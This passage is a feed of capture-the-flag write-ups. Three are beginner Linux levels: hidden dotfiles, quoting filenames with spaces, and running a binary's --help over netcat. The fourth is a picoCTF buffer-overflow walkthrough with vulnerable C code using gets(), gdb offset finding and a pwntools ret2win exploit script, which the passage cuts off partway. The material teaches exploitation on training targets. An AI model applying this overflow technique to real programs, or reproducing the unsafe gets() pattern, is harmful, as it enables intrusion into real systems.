&lt;p&gt;Level 3's home directory contains a subdirectory called &lt;code&gt;inhere&lt;/code&gt;. Opening it and listing its contents with a plain &lt;code&gt;ls&lt;/code&gt; shows... nothing. That's the trick.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Level Goal: The password for the next level is stored in a hidden file in the inhere directory."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Step 1 — Enter the inhere directory
&lt;/h2&gt;

&lt;p&gt;Log in as bandit3 and move into the subdirectory the level points to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;inhere
&lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(empty output)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 2 — List hidden files too
&lt;/h2&gt;

&lt;p&gt;By convention, any file whose name starts with a dot (&lt;code&gt;.&lt;/code&gt;) is hidden from a plain &lt;code&gt;ls&lt;/code&gt; — the &lt;code&gt;-a&lt;/code&gt; flag shows everything, dotfiles included:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;.
..
.hidden
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 3 — Read the hidden file
&lt;/h2&gt;

&lt;p&gt;There it is — a file called &lt;code&gt;.hidden&lt;/code&gt;. Read it directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; .hidden
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[PASSWORD FOR bandit4]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;🔑 password intentionally hidden&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The password is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;p&gt;Unix hides nothing from you — it just doesn't show dotfiles by default to keep directory listings clean. &lt;code&gt;ls -a&lt;/code&gt; (or &lt;code&gt;ls -la&lt;/code&gt; for the long format with permissions) is the reflex to build for any level, or any real system, where something seems to be missing.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A leading dot in a filename makes it hidden from plain &lt;code&gt;ls&lt;/code&gt;, nothing more special than that&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ls -a&lt;/code&gt; lists every entry, including &lt;code&gt;.&lt;/code&gt; and &lt;code&gt;..&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ls -la&lt;/code&gt; combines that with the long format (permissions, size, owner)&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/overthewire-bandit-level3-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>beginners</category>
    </item>
    <item>
      <title>PicoCTF Wave a Flag Writeup — Read a Remote Binary's Help Output</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Mon, 05 Oct 2026 21:43:44 +0000</pubDate>
      <link>https://dev.to/ctfdojo/picoctf-wave-a-flag-writeup-read-a-remote-binarys-help-output-24io</link>
      <guid>https://dev.to/ctfdojo/picoctf-wave-a-flag-writeup-read-a-remote-binarys-help-output-24io</guid>
      <description>&lt;p&gt;&lt;em&gt;This introductory challenge teaches the most basic reflex in offensive security: read a program's help before using it. By connecting to the remote binary and typing &lt;code&gt;./flag --help&lt;/code&gt;, the flag is displayed directly.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; picoGym&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; General Skills / Misc&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Points:&lt;/strong&gt; 50 pts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Beginner&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technique:&lt;/strong&gt; Reading a program's help (--help)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;The prompt provides a connection command to a remote shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc saturn.picoctf.net 54981
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once connected, we land in a minimal Linux environment with a binary named &lt;code&gt;flag&lt;/code&gt; available. No other hint is given — that's precisely the point of the challenge: learning to explore on your own.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — Connect
&lt;/h2&gt;

&lt;p&gt;We open a terminal and connect with &lt;code&gt;netcat&lt;/code&gt; to the given host and port:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;nc saturn.picoctf.net 54981
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The connection is established and a plain shell prompt appears, with no particular welcome message.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — Explore
&lt;/h2&gt;

&lt;p&gt;We list the contents of the current directory to see what's available:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls
&lt;/span&gt;flag
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Just one file: an executable named &lt;code&gt;flag&lt;/code&gt;. No source code, no further hint in the prompt — we need to interact with the binary directly to understand what it does.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3 — Read the help
&lt;/h2&gt;

&lt;p&gt;Facing an unknown binary, the very first reflex (even before launching a disassembler or debugger) is to check whether it offers built-in help, via &lt;code&gt;--help&lt;/code&gt; or &lt;code&gt;-h&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./flag &lt;span class="nt"&gt;--help&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The program immediately responds by printing its usage — and the flag is included directly in the message:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Usage: flag [options]
This program prints the flag and exits.

picoCTF{***************************}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Full netcat session
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;nc saturn.picoctf.net 54981
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls
&lt;/span&gt;flag
&lt;span class="nv"&gt;$ &lt;/span&gt;./flag &lt;span class="nt"&gt;--help&lt;/span&gt;
Usage: flag &lt;span class="o"&gt;[&lt;/span&gt;options]
This program prints the flag and exits.

picoCTF&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="k"&gt;***************************&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;🚩 picoCTF{ flag intentionally hidden }&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The flag is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;p&gt;This challenge may seem trivial, but it teaches an essential habit: before diving into a complex analysis (disassembly, reverse engineering, fuzzing…), always check the most obvious options of an unknown binary or command.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;--help&lt;/code&gt; and &lt;code&gt;-h&lt;/code&gt; are often the first thing to try when facing an unknown binary&lt;/li&gt;
&lt;li&gt;A lot of useful information (usage, hidden options, versions, even hints or educational secrets) can be found in help messages before even starting a deeper analysis&lt;/li&gt;
&lt;li&gt;In pentesting as in CTFs, enumeration always starts with the simplest means before bringing out the heavy artillery&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/picoctf-wave-a-flag-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>beginners</category>
    </item>
    <item>
      <title>OverTheWire Bandit Level 2 Writeup — Read a Filename With Spaces</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Fri, 02 Oct 2026 19:39:52 +0000</pubDate>
      <link>https://dev.to/ctfdojo/overthewire-bandit-level-2-writeup-read-a-filename-with-spaces-32o2</link>
      <guid>https://dev.to/ctfdojo/overthewire-bandit-level-2-writeup-read-a-filename-with-spaces-32o2</guid>
      <description>&lt;p&gt;&lt;em&gt;The password file is named &lt;code&gt;spaces in this filename&lt;/code&gt;. The shell splits unquoted arguments on whitespace, so the filename has to be quoted or escaped to be treated as one argument.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; OverTheWire Bandit&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Linux Fundamentals&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Level:&lt;/strong&gt; 2 → 3&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Beginner&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technique:&lt;/strong&gt; Shell quoting and escaping&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;Level 2's home directory has one file, but its name contains spaces. In a shell, unquoted spaces separate arguments — so typing the filename as-is splits it into several nonsense arguments instead of one filename.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Level Goal: The password for the next level is stored in a file called spaces in this filename located in the home directory."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Step 1 — List the home directory
&lt;/h2&gt;

&lt;p&gt;Log in as bandit2, then list what's there:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;spaces in this filename
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 2 — Quote the filename
&lt;/h2&gt;

&lt;p&gt;Wrap the whole name in double quotes so the shell treats it as a single argument:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="s2"&gt;"spaces in this filename"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[PASSWORD FOR bandit3]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 3 — The escaped alternative
&lt;/h2&gt;

&lt;p&gt;Backslash-escaping each space works identically, and is what shell tab-completion generates automatically:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;spaces&lt;span class="se"&gt;\ &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="se"&gt;\ &lt;/span&gt;this&lt;span class="se"&gt;\ &lt;/span&gt;filename
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[PASSWORD FOR bandit3]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;🔑 password intentionally hidden&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The password is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;p&gt;Whenever a filename might contain spaces (or other shell-special characters), quote it or escape it — and when in doubt, let tab-completion do it for you instead of typing it by hand.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Unquoted spaces in the shell separate arguments, they don't stay part of one filename&lt;/li&gt;
&lt;li&gt;Double quotes ("...") or single quotes ('...') both keep a filename intact&lt;/li&gt;
&lt;li&gt;Tab-completion after typing a few letters auto-escapes special characters for you&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/overthewire-bandit-level2-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>beginners</category>
    </item>
    <item>
      <title>PicoCTF Buffer Overflow 1 Writeup — Overwrite a Return Address to Call win()</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Thu, 01 Oct 2026 20:52:00 +0000</pubDate>
      <link>https://dev.to/ctfdojo/picoctf-buffer-overflow-1-writeup-overwrite-a-return-address-to-call-win-f8a</link>
      <guid>https://dev.to/ctfdojo/picoctf-buffer-overflow-1-writeup-overwrite-a-return-address-to-call-win-f8a</guid>
      <description>&lt;p&gt;&lt;em&gt;This time, the goal isn't to overwrite a simple variable but the function's own return address, to redirect execution to a &lt;code&gt;win()&lt;/code&gt; function present in the binary but never normally called — the classic technique known as "ret2win".&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; picoGym&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Binary Exploitation (Pwn)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Points:&lt;/strong&gt; 300 pts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Intermediate&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technique:&lt;/strong&gt; Ret2win, return address overwrite&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;The provided source code looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;win&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Congratulations!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/bin/cat flag.txt"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;vuln&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Please enter your string: &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;gets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Ok, now what's your name?&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;gets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Hello %s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
    &lt;span class="n"&gt;vuln&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;win()&lt;/code&gt; function prints the flag, but it isn't called anywhere in &lt;code&gt;main()&lt;/code&gt; or &lt;code&gt;vuln()&lt;/code&gt;. The only way to reach it is to force the program to jump there directly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — Find the address of win()
&lt;/h2&gt;

&lt;p&gt;Since the binary is not compiled as PIE (Position Independent Executable), function addresses are fixed and known in advance. We can grab them easily with &lt;code&gt;objdump&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ objdump -d ./vuln | grep ':'
0000000000401216 :
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or directly from &lt;code&gt;gdb&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gdb-peda$ info functions win
All functions matching regular expression "win":
0x0000000000401216  win

gdb-peda$ p win
$1 = {} 0x401216 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The address of &lt;code&gt;win()&lt;/code&gt; is therefore &lt;code&gt;0x401216&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — Find the offset to the return address
&lt;/h2&gt;

&lt;p&gt;Rather than computing the offset by hand, we use a cyclic pattern generated by pwntools. We run the binary in &lt;code&gt;gdb&lt;/code&gt;, send the pattern, and observe the value that overwrites the instruction pointer (RIP in 64-bit) at the moment of the crash:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pwn&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;cyclic&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;cyclic&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="c1"&gt;# aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaz...
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;gdb-peda$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;run
&lt;span class="go"&gt;Please enter your string:
&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;aaaabaaacaaadaaaeaaaf...
&lt;span class="go"&gt;[...]
Program received signal SIGSEGV, Segmentation fault.
RIP: 0x6161616c61616b61 ('aakaaal')

&lt;/span&gt;&lt;span class="gp"&gt;gdb-peda$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;python from pwn import &lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; print&lt;span class="o"&gt;(&lt;/span&gt;cyclic_find&lt;span class="o"&gt;(&lt;/span&gt;0x6161616c61616b61&lt;span class="o"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;136
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The offset between the start of the buffer and the overwritten return address is therefore &lt;strong&gt;136 bytes&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3 — Build the payload
&lt;/h2&gt;

&lt;p&gt;The final payload consists of 136 padding bytes, followed by the address of &lt;code&gt;win()&lt;/code&gt; packed into 8 bytes (64-bit architecture, so &lt;code&gt;p64()&lt;/code&gt; rather than &lt;code&gt;p32()&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;A&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;136&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x401216&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Full exploit
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pwn&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;

&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;binary&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;elf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;ELF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;./vuln&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;log_level&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;info&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

&lt;span class="c1"&gt;# io = process('./vuln')
&lt;/span&gt;&lt;span class="n"&gt;io&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;mercury.picoctf.net&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;54321&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;offset&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;136&lt;/span&gt;
&lt;span class="n"&gt;win_addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;elf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;symbols&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;win&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;win() address: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;win_addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;A&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;offset&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nf"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;win_addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;io&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recvuntil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;string: &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;io&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

